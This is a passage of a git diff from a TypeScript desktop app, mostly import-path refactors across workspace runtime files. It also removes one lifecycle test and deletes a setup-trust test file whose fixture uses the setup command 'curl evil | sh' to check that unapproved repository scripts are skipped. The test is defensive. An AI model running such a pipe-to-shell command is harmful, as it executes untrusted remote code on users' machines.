a/src/main/runtime/workspaces/creation/runtime-folder-worktree-setup.ts b/src/main/runtime/workspaces/creation/runtime-folder-worktree-setup.ts index a11dd0de433..0f01888fb73 100644 --- a/src/main/runtime/workspaces/creation/runtime-folder-worktree-setup.ts +++ b/src/main/runtime/workspaces/creation/runtime-folder-worktree-setup.ts @@ -1,4 +1,4 @@ -import { isRepoOnCatalogHost } from '../../../../shared/execution-host' +import { isRepoOnCatalogHost } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import type { AgentLaunchRuntime } from '../../../../shared/agent-launch/startup/agent-launch-runtime' diff --git a/src/main/runtime/workspaces/creation/runtime-group-folder-setup.test.ts b/src/main/runtime/workspaces/creation/runtime-group-folder-setup.test.ts index a037832f403..e6cd0868087 100644 --- a/src/main/runtime/workspaces/creation/runtime-group-folder-setup.test.ts +++ b/src/main/runtime/workspaces/creation/runtime-group-folder-setup.test.ts @@ -3,7 +3,10 @@ import { tmpdir } from 'node:os' import { dirname, join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { runProcessSync } from '@orca/process-host' -import { getDefaultRepoHookSettings, getDefaultSettings } from '../../../../shared/constants' +import { + getDefaultRepoHookSettings, + getDefaultSettings +} from '../../../../shared/orca-profiles/constants' import { createProjectGroup } from '../../../../shared/project/groups/project-groups' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' @@ -150,33 +153,4 @@ describe('group folder setup lifecycle', () => { ) } ) - - it('waits for structured Setup through the worktree completion observer', async () => { - const { args, wait, createTerminal, buildStartup } = fixture({ agentLaunchMode: 'structured' }) - let complete: ((value: { exitCode: number | null }) => void) | undefined - wait.mockImplementation( - () => - new Promise((resolve) => { - complete = resolve - }) - ) - const creating = prepareGroupFolderCreation(args) - await vi.waitFor(() => expect(wait).toHaveBeenCalled()) - expect(createTerminal).toHaveBeenCalledOnce() - expect(createTerminal.mock.calls[0]).toMatchObject([ - 'id:folder:task-a', - { title: 'Setup', cwd: root } - ]) - expect(buildStartup).not.toHaveBeenCalled() - let settled = false - void creating.then(() => { - settled = true - }) - await Promise.resolve() - expect(settled).toBe(false) - complete?.({ exitCode: 0 }) - expect(await creating).toMatchObject({ - folderWorkspace: { id: 'task-a' } - }) - }) }) diff --git a/src/main/runtime/workspaces/creation/runtime-group-folder-setup.ts b/src/main/runtime/workspaces/creation/runtime-group-folder-setup.ts index c44361dad35..ca1b0b2b3b4 100644 --- a/src/main/runtime/workspaces/creation/runtime-group-folder-setup.ts +++ b/src/main/runtime/workspaces/creation/runtime-group-folder-setup.ts @@ -7,7 +7,7 @@ import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folde import { folderWorkspaceToWorktree } from '../../../../shared/folder-workspaces/folder-workspace-worktree' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import { projectGroupHookOwner } from '../../../../shared/workspace-setup/hooks/workspace-hook-owner' -import { isRepoOnCatalogHost } from '../../../../shared/execution-host' +import { isRepoOnCatalogHost } from '../../../../shared/execution-host/execution-host' import { folderWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { prepareRuntimeLocalWorktreeSetup, diff --git a/src/main/runtime/workspaces/creation/runtime-local-worktree-materialization.ts b/src/main/runtime/workspaces/creation/runtime-local-worktree-materialization.ts index d29e7a6ee5d..a75f748c388 100644 --- a/src/main/runtime/workspaces/creation/runtime-local-worktree-materialization.ts +++ b/src/main/runtime/workspaces/creation/runtime-local-worktree-materialization.ts @@ -1,6 +1,6 @@ import type { LocalGitExecOptions } from '../../../git/refs/resolution/repo-default-base-ref' import { randomUUID } from 'node:crypto' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getProjectHostSetupWorktreeMeta } from '../../../../shared/project/host-setup/project-host-setup-lookup' import type { GitWorktreeInfo, GitPushTarget, Worktree } from '../../../../shared/worktree/types' import type { Repo } from '../../../../shared/repository/repo-types' diff --git a/src/main/runtime/workspaces/creation/runtime-local-worktree-setup-trust.test.ts b/src/main/runtime/workspaces/creation/runtime-local-worktree-setup-trust.test.ts deleted file mode 100644 index 3cecc5499b2..00000000000 --- a/src/main/runtime/workspaces/creation/runtime-local-worktree-setup-trust.test.ts +++ /dev/null @@ -1,64 +0,0 @@ -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { createHash } from 'node:crypto' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { Repo } from '../../../../shared/repository/repo-types' -import { getDefaultSettings } from '../../../../shared/constants' -import { prepareRuntimeLocalWorktreeSetup } from './runtime-local-worktree-setup' - -const runner = vi.hoisted(() => ({ createSetupRunnerScript: vi.fn() })) -vi.mock('../../../workspace-hooks/worktree-runner-script', () => ({ - createSetupRunnerScript: runner.createSetupRunnerScript, - resolveSetupRunnerShell: () => undefined -})) -const PRIMARY_TRUST_CONTENT = 'pnpm install' -const sha256 = (text: string): string => createHash('sha256').update(text).digest('hex') - -let worktreePath: string -const repo: Repo = { id: 'repo', path: '/primary', displayName: 'r', badgeColor: '', addedAt: 0 } - -function prepare(approvedSetupHash?: string, approvedSetupHashes?: string[]) { - return prepareRuntimeLocalWorktreeSetup({ - request: { - setupDecision: 'run', - ...(approvedSetupHash !== undefined ? { approvedSetupHash } : {}), - ...(approvedSetupHashes ? { approvedSetupHashes } : {}) - }, - repo, - worktreePath, - settings: getDefaultSettings(tmpdir()), - runtimeTarget: undefined, - shouldUseSetupRunner: true - }) -} - -beforeEach(() => { - worktreePath = mkdtempSync(join(tmpdir(), 'orca-setup-trust-')) - runner.createSetupRunnerScript.mockReset().mockResolvedValue({ - runnerScriptPath: join(worktreePath, 'runner.sh'), - envVars: {} - }) -}) - -afterEach(() => { - rmSync(worktreePath, { recursive: true, force: true }) -}) - -describe('created worktree setup trust', () => { - it('skips setup and default tab commands and reports the branch content when it differs', async () => { - writeFileSync( - join(worktreePath, 'orca.yaml'), - 'scripts:\n setup: curl evil | sh\ndefaultTabs:\n - title: dev\n command: pnpm dev\n - title: notes\n' - ) - const result = await prepare(sha256(PRIMARY_TRUST_CONTENT)) - expect(runner.createSetupRunnerScript).not.toHaveBeenCalled() - expect(result.setup).toBeUndefined() - // Only the command-less tab opens now; approving adds the command tab. - expect(result.defaultTabs).toEqual({ tabs: [{ title: 'notes' }], runCommands: false }) - expect(result.shouldRunSetup).toBe(false) - expect(result.warning).toBeUndefined() - const scriptContent = 'curl evil | sh\n\n# defaultTabs[1] dev\npnpm dev' - expect(result.setupTrustMismatch).toEqual({ contentHash: sha256(scriptContent), scriptContent }) - }) -}) diff --git a/src/main/runtime/workspaces/creation/runtime-provisioned-root-adoption.ts b/src/main/runtime/workspaces/creation/runtime-provisioned-root-adoption.ts index 11be3754478..a2e08142029 100644 --- a/src/main/runtime/workspaces/creation/runtime-provisioned-root-adoption.ts +++ b/src/main/runtime/workspaces/creation/runtime-provisioned-root-adoption.ts @@ -2,7 +2,7 @@ import type { Repo } from '../../../../shared/repository/repo-types' import type { CreateWorktreeResult } from '../../../../shared/worktree/create-types' import type { GitWorktreeInfo, Worktree } from '../../../../shared/worktree/types' -import { getRepoSshConnectionId } from '../../../../shared/execution-host' +import { getRepoSshConnectionId } from '../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../shared/repository/repo-kind' import { buildProvisionedRootMeta, diff --git a/src/main/runtime/workspaces/creation/runtime-worktree-create-git.ts b/src/main/runtime/workspaces/creation/runtime-worktree-create-git.ts index ad201b8a500..1999e48e067 100644 --- a/src/main/runtime/workspaces/creation/runtime-worktree-create-git.ts +++ b/src/main/runtime/workspaces/creation/runtime-worktree-create-git.ts @@ -1,5 +1,5 @@ import { getStoredRepoExecutionHostId } from '../../../workspaces/execution-host/repo-execution-host' -import type { BranchPrefixStrategy } from '../../../../shared/ui-chrome-types' +import type { BranchPrefixStrategy } from '../../../../shared/ui-chrome/ui-chrome-types' import type { Repo } from '../../../../shared/repository/repo-types' import { getPRForBranch } from '../../../github/client/lookup/get-pr-for-branch' import type { GitAdmissionTier } from '../../../../shared/rpc-contract/source-control/git-admission-tier-params' diff --git a/src/main/runtime/workspaces/creation/workspace-creation.ts b/src/main/runtime/workspaces/creation/workspace-creation.ts index c4319696f78..6b0aaba3101 100644 --- a/src/main/runtime/workspaces/creation/workspace-creation.ts +++ b/src/main/runtime/workspaces/creation/workspace-creation.ts @@ -31,7 +31,7 @@ import { assertWslMoveRepoWritable } from '../../../persistence/moving-wsl-proje import { resolveManagedWorktreeCreateStartup } from '../startup/managed-worktree-create-startup' import type { WorkspaceCreationHandle } from '../lifecycle/workspace-lifecycle-creations' import { workspaceLifecycleKey } from '../lifecycle/workspace-lifecycle-commands' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { applyWorkspaceCreatePluginHook } from '../../../plugins/hooks/workspace-create-plugin-hook' import { withProjectWorktreeCreate } from '../../../workspaces/creation/worktree-create-in-flight' import { createdWorktreeLifecycleIdentity } from '../lifecycle/worktree-lifecycle-event' diff --git a/src/main/runtime/workspaces/known-workspace-file-target.ts b/src/main/runtime/workspaces/known-workspace-file-target.ts index 8f4d78575f4..e17c7cd2955 100644 --- a/src/main/runtime/workspaces/known-workspace-file-target.ts +++ b/src/main/runtime/workspaces/known-workspace-file-target.ts @@ -7,7 +7,7 @@ import { getConnectionExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { ResolvedWorktree } from './catalog/runtime-worktree-path-identity' import { resolveWorktreeHostRouting } from './catalog/worktree-launch-host-repo' import { findRuntimeWorkspaceFileOwner } from '../../../shared/file-access/runtime-workspace-file-owner' diff --git a/src/main/runtime/workspaces/lifecycle/workspace-lifecycle-commands.ts b/src/main/runtime/workspaces/lifecycle/workspace-lifecycle-commands.ts index 41baace2030..78dddad7e7c 100644 --- a/src/main/runtime/workspaces/lifecycle/workspace-lifecycle-commands.ts +++ b/src/main/runtime/workspaces/lifecycle/workspace-lifecycle-commands.ts @@ -7,7 +7,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { splitWorktreeId } from '../../../../shared/worktree/id' import { isProvenLivePtyRemovalError, diff --git a/src/main/runtime/workspaces/lifecycle/worktree-lifecycle-event.ts b/src/main/runtime/workspaces/lifecycle/worktree-lifecycle-event.ts index 4ee82b08c4c..d4b4b9fdc1b 100644 --- a/src/main/runtime/workspaces/lifecycle/worktree-lifecycle-event.ts +++ b/src/main/runtime/workspaces/lifecycle/worktree-lifecycle-event.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' /** Host-qualified identity of the worktree, when it has one. Captured before a removal purges * the metadata row, since listeners hear `removed` only after. */ diff --git a/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-controller.ts b/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-controller.ts index 188a08ec2aa..9c58f245233 100644 --- a/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-controller.ts +++ b/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-controller.ts @@ -6,7 +6,7 @@ import { type WorktreeLineage, type WorkspaceLineage } from '../../../../shared/worktree/lineage-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { type WorkspaceKey, diff --git a/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-operations.ts b/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-operations.ts index db94f4fd05a..d65bf8d67fb 100644 --- a/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-operations.ts +++ b/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-operations.ts @@ -1,5 +1,5 @@ import { OrcaRuntimeWithResolveBrowserNetworkExecutionHostForWorktree } from '../../terminal/launch/terminal-workspace-scope' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorktreeLineageInput, WorktreeLineageResolution diff --git a/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-resolution.ts b/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-resolution.ts index 37c92f60151..4c2c58ad757 100644 --- a/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-resolution.ts +++ b/src/main/runtime/workspaces/lineage/runtime-worktree-lineage-resolution.ts @@ -1,5 +1,5 @@ import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import type { WorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import type { diff --git a/src/main/runtime/workspaces/lineage/saved-lineage-reads.ts b/src/main/runtime/workspaces/lineage/saved-lineage-reads.ts index cc235157b9d..50cc42e482d 100644 --- a/src/main/runtime/workspaces/lineage/saved-lineage-reads.ts +++ b/src/main/runtime/workspaces/lineage/saved-lineage-reads.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' import { readAllWorktreeMetaForHost } from '../../../persistence/host-qualified-worktree-meta' import { getRepoOwnedWorktreeMeta } from '../../../workspaces/catalog/worktree-metadata-ownership' diff --git a/src/main/runtime/workspaces/managed-workspace-operations.ts b/src/main/runtime/workspaces/managed-workspace-operations.ts index a2e624cd57e..9bc6200a272 100644 --- a/src/main/runtime/workspaces/managed-workspace-operations.ts +++ b/src/main/runtime/workspaces/managed-workspace-operations.ts @@ -13,7 +13,7 @@ import type { WorktreeVisibilitySourceMatcher } from '../../../shared/worktree/v import type { RuntimeStore } from '../construction/runtime-store-contract' import { getWorkspaceAttachments } from '../../../shared/workspace-attachments/workspace-attachments' import type { TerminalWorkspaceLaunchScope } from '../orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-terminal-recovery-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { RuntimeWorkspacePortOperations } from './ports/runtime-workspace-port-operations' const DEFAULT_WORKTREE_LIST_LIMIT = 200 export abstract class OrcaRuntimeWithListManagedWorktrees extends RuntimeWorkspacePortOperations { diff --git a/src/main/runtime/workspaces/metadata/runtime-worktree-drift-probe.ts b/src/main/runtime/workspaces/metadata/runtime-worktree-drift-probe.ts index 11a74adcb42..834f7e3b81e 100644 --- a/src/main/runtime/workspaces/metadata/runtime-worktree-drift-probe.ts +++ b/src/main/runtime/workspaces/metadata/runtime-worktree-drift-probe.ts @@ -1,4 +1,4 @@ -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { getDefaultBaseRefAsync as getBaseRefDefault } from '../../../git/refs/resolution/repo-default-base-ref' import { getRecentDriftSubjects, getRemoteDrift } from '../../../git/remotes/repo-remote-queries' diff --git a/src/main/runtime/workspaces/metadata/workspace-activity-records-twins.test.ts b/src/main/runtime/workspaces/metadata/workspace-activity-records-twins.test.ts index 58c0dea4dce..546da9bce7d 100644 --- a/src/main/runtime/workspaces/metadata/workspace-activity-records-twins.test.ts +++ b/src/main/runtime/workspaces/metadata/workspace-activity-records-twins.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { hostWorktreeTarget, diff --git a/src/main/runtime/workspaces/metadata/workspace-activity-records.ts b/src/main/runtime/workspaces/metadata/workspace-activity-records.ts index d6acf5b7201..05dc44b979d 100644 --- a/src/main/runtime/workspaces/metadata/workspace-activity-records.ts +++ b/src/main/runtime/workspaces/metadata/workspace-activity-records.ts @@ -1,6 +1,9 @@ import { getRepoRegistrationHostIds } from '../../../../shared/repository/repo-host-identity' import type { AgentPaneWorkspace } from '../../../agent-hooks/observations/agent-transition-detector' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' import type { SmartStampFields, diff --git a/src/main/runtime/workspaces/persisted-surfaces/restored-terminal-placement.ts b/src/main/runtime/workspaces/persisted-surfaces/restored-terminal-placement.ts index a86e65db695..59607f04ed3 100644 --- a/src/main/runtime/workspaces/persisted-surfaces/restored-terminal-placement.ts +++ b/src/main/runtime/workspaces/persisted-surfaces/restored-terminal-placement.ts @@ -26,7 +26,10 @@ import { panesBoundToAnotherWorkspace, panesBoundToGoneLocalTerminals } from '../../terminal/recovery/foreign-pane-bindings' -import { type ExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + type ExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import { getExplicitWorktreeIdSelector } from '../catalog/runtime-worktree-selection' import { followExportedPaneKeys } from '../../terminal/identity/exported-pane-key-follow' diff --git a/src/main/runtime/workspaces/ports/runtime-workspace-port-operations.ts b/src/main/runtime/workspaces/ports/runtime-workspace-port-operations.ts index c86490b1737..03f1941161b 100644 --- a/src/main/runtime/workspaces/ports/runtime-workspace-port-operations.ts +++ b/src/main/runtime/workspaces/ports/runtime-workspace-port-operations.ts @@ -17,7 +17,7 @@ import { type WorkspacePortExecutionHostDeps } from '../../../ports/workspace-port-execution-host' import { resolveWorktreeHostRouting } from '../catalog/worktree-launch-host-repo' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { RuntimeWorkspaceSleepOperations } from '../sleep/runtime-workspace-sleep-operations' export abstract class RuntimeWorkspacePortOperations extends RuntimeWorkspaceSleepOperations { async scanWorkspacePorts(repoId?: string): Promise { diff --git a/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-activity.ts b/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-activity.ts index f746fb33766..099c93a3590 100644 --- a/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-activity.ts +++ b/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-activity.ts @@ -2,7 +2,10 @@ import type { RuntimeSyncedTab } from '../../../../shared/remote-runtime/session import type { RuntimeWorktreePsSummary } from '../../../../shared/worktree/catalog/runtime-worktree-contracts' import type { Repo } from '../../../../shared/repository/repo-types' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import { getWorkspaceSessionTabActivityIds } from '../../../../shared/workspace-session/workspace-session-tab-activity' import type { RuntimeStore } from '../../construction/runtime-store-contract' diff --git a/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-summaries.ts b/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-summaries.ts index fbfa743e922..6e5adc01ad6 100644 --- a/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-summaries.ts +++ b/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-summaries.ts @@ -13,7 +13,7 @@ import { UNCACHED_LINKED_PR_STATE } from '../../../../shared/worktree/catalog/ru import type { RuntimeStore } from '../../construction/runtime-store-contract' import { runtimeVisibleFolderWorkspaces } from '../catalog/runtime-visible-catalog' import type { ResolvedWorktree } from '../catalog/runtime-worktree-path-identity' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' import { runtimeWorktreePsRowKey } from './runtime-worktree-summary-paths' diff --git a/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-unverifiable-terminals.ts b/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-unverifiable-terminals.ts index 0e799e3c54c..361b7f3b82a 100644 --- a/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-unverifiable-terminals.ts +++ b/src/main/runtime/workspaces/process-listing/runtime-worktree-ps-unverifiable-terminals.ts @@ -4,7 +4,7 @@ import type { RuntimePtyWorktreeRecord } from '../../terminal/records/runtime-terminal-state-records' import type { RuntimeWorktreePsSummaryLookup } from './runtime-worktree-summary-paths' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { ptyRecordHostId } from './runtime-worktree-ps-activity' /** A dropped relay loses contact with every host PTY at once; count unverifiable terminals so rows do not falsely report none (ssh-execution-boundary.md). */ diff --git a/src/main/runtime/workspaces/process-listing/runtime-worktree-summary-paths.ts b/src/main/runtime/workspaces/process-listing/runtime-worktree-summary-paths.ts index c4833b2f9db..aec811bdf08 100644 --- a/src/main/runtime/workspaces/process-listing/runtime-worktree-summary-paths.ts +++ b/src/main/runtime/workspaces/process-listing/runtime-worktree-summary-paths.ts @@ -6,7 +6,7 @@ import { getConnectionExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { isLocalHookConnectionId } from '../../../../shared/agent-hook-listener/transport/wsl-hook-relay-contract' type RuntimeWorktreeSummaryPathCandidate = { summary: RuntimeWorktreePsSummary; order: number } diff --git a/src/main/runtime/workspaces/process-listing/workspace-process-listing.ts b/src/main/runtime/workspaces/process-listing/workspace-process-listing.ts index 80a6d006c1d..bc751c4ee87 100644 --- a/src/main/runtime/workspaces/process-listing/workspace-process-listing.ts +++ b/src/main/runtime/workspaces/process-listing/workspace-process-listing.ts @@ -40,7 +40,7 @@ import { firstWorkRenameDeps } from '../../../agent-hooks/first-work/first-work- import { createStructuredChatNamingHandler } from '../../../native-chat/structured-chat-naming' import { structuredChatNamingDeps } from '../../agent-session/naming/structured-chat-naming-runtime' import { getProfileUserDataPath } from '../../../orca-profiles/profile-storage-paths' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { chatWorkerTurnStopReporter } from '../../orchestration/workers/turn-stops/chat-worker-turn-stops' import { buildWorktreeListingPage } from '../catalog/worktree-listing-host-scope' import { diff --git a/src/main/runtime/workspaces/process-listing/worktree-ps-same-id-hosts.test.ts b/src/main/runtime/workspaces/process-listing/worktree-ps-same-id-hosts.test.ts index 0fb5c4eabec..cb7ce1a8572 100644 --- a/src/main/runtime/workspaces/process-listing/worktree-ps-same-id-hosts.test.ts +++ b/src/main/runtime/workspaces/process-listing/worktree-ps-same-id-hosts.test.ts @@ -14,7 +14,7 @@ import { applyRuntimeWorktreePsSessionActivity, applyRuntimeWorktreePsTerminalActivity } from './runtime-worktree-ps-activity' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' const ID = 'repo-a::/srv/app' diff --git a/src/main/runtime/workspaces/process-listing/worktree-ps-unverifiable-terminals.test.ts b/src/main/runtime/workspaces/process-listing/worktree-ps-unverifiable-terminals.test.ts index eae5a24d154..f4dd5bcca32 100644 --- a/src/main/runtime/workspaces/process-listing/worktree-ps-unverifiable-terminals.test.ts +++ b/src/main/runtime/workspaces/process-listing/worktree-ps-unverifiable-terminals.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' vi.mock('electron', () => ({ BrowserWindow: { fromId: vi.fn(() => null) }, diff --git a/src/main/runtime/workspaces/references/runtime-reference-agents.ts b/src/main/runtime/workspaces/references/runtime-reference-agents.ts index c51a73c365d..e1179c91c7e 100644 --- a/src/main/runtime/workspaces/references/runtime-reference-agents.ts +++ b/src/main/runtime/workspaces/references/runtime-reference-agents.ts @@ -4,7 +4,7 @@ import { getRepoExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import type { FleetAgentStatusEvidence } from '../../../../shared/orchestration/fleet/orchestration-fleet-agent-status-evidence' import type { PtyLivenessVerdict } from '../../../../shared/terminal/pty/lifecycle/pty-liveness-verdict' diff --git a/src/main/runtime/workspaces/references/runtime-reference-catalog.ts b/src/main/runtime/workspaces/references/runtime-reference-catalog.ts index 28378b69d8c..5a44039f06c 100644 --- a/src/main/runtime/workspaces/references/runtime-reference-catalog.ts +++ b/src/main/runtime/workspaces/references/runtime-reference-catalog.ts @@ -6,7 +6,7 @@ import type { import type { Worktree } from '../../../../shared/worktree/types' import { mergeWorktree } from '../../../ipc/worktree-metadata-merge' import { readAllWorktreeMetaForHost } from '../../../persistence/host-qualified-worktree-meta' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { splitWorktreeIdForFilesystem, worktreeIdsEqual } from '../../../../shared/worktree/id' import { getWorktreeHostIdentity } from '../../../../shared/worktree/host-qualified-identity' import { folderWorkspaceToWorktree } from '../../../../shared/folder-workspaces/folder-workspace-worktree' diff --git a/src/main/runtime/workspaces/references/runtime-reference-find.test.ts b/src/main/runtime/workspaces/references/runtime-reference-find.test.ts index 37aa97bfa52..68e67c30d24 100644 --- a/src/main/runtime/workspaces/references/runtime-reference-find.test.ts +++ b/src/main/runtime/workspaces/references/runtime-reference-find.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it } from 'vitest' import { parseWorkspaceReferenceUrl } from '../../../../shared/workspace-attachments/workspace-reference-identity' import { findWorkspaceReferences, type ReferenceAgentCandidate } from './runtime-reference-find' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' function workspace(id: string, urls: string[], hostId: ExecutionHostId = 'local') { return { diff --git a/src/main/runtime/workspaces/references/runtime-reference-find.ts b/src/main/runtime/workspaces/references/runtime-reference-find.ts index 929aeb89d6e..ce948c6165b 100644 --- a/src/main/runtime/workspaces/references/runtime-reference-find.ts +++ b/src/main/runtime/workspaces/references/runtime-reference-find.ts @@ -11,7 +11,7 @@ import { } from '../../../../shared/workspace-attachments/workspace-reference-identity' import { getWorktreeHostIdentity } from '../../../../shared/worktree/host-qualified-identity' import type { WorkspaceAttachmentOrigin } from '../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' export type ReferenceAgentCandidate = Omit & { hostId: ExecutionHostId diff --git a/src/main/runtime/workspaces/removal/missing-worktree-terminal-reconciliation.ts b/src/main/runtime/workspaces/removal/missing-worktree-terminal-reconciliation.ts index 60883877970..bbe3ca84669 100644 --- a/src/main/runtime/workspaces/removal/missing-worktree-terminal-reconciliation.ts +++ b/src/main/runtime/workspaces/removal/missing-worktree-terminal-reconciliation.ts @@ -1,4 +1,4 @@ -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import type { IPtyProvider } from '../../../providers/pty/provider-contract' import type { Repo } from '../../../../shared/repository/repo-types' import { splitWorktreeId } from '../../../../shared/worktree/id' diff --git a/src/main/runtime/workspaces/removal/project-removal-impact.ts b/src/main/runtime/workspaces/removal/project-removal-impact.ts index fd6edcb56a3..4ee0123cfd9 100644 --- a/src/main/runtime/workspaces/removal/project-removal-impact.ts +++ b/src/main/runtime/workspaces/removal/project-removal-impact.ts @@ -4,7 +4,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, parseExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { splitWorktreeId } from '../../../../shared/worktree/id' import { worktreePtyBelongsToHost, type WorktreePtyHostFence } from './worktree-pty-host-fence' diff --git a/src/main/runtime/workspaces/removal/runtime-interrupted-local-worktree-removal.test.ts b/src/main/runtime/workspaces/removal/runtime-interrupted-local-worktree-removal.test.ts index 851526e26af..a751ca9e070 100644 --- a/src/main/runtime/workspaces/removal/runtime-interrupted-local-worktree-removal.test.ts +++ b/src/main/runtime/workspaces/removal/runtime-interrupted-local-worktree-removal.test.ts @@ -4,13 +4,13 @@ import type { WorktreeRemovalRecord } from '../../../workspaces/removal/worktree import { installRealWorkerThreadChildProcesses } from '../../../worker-thread-child-process/worker-thread-child-process-real.test-fixtures' import { execFile } from 'node:child_process' import { existsSync } from 'node:fs' -import { mkdir, mkdtemp, realpath, unlink, writeFile } from 'node:fs/promises' +import { mkdir, mkdtemp, realpath, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { promisify } from 'node:util' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { 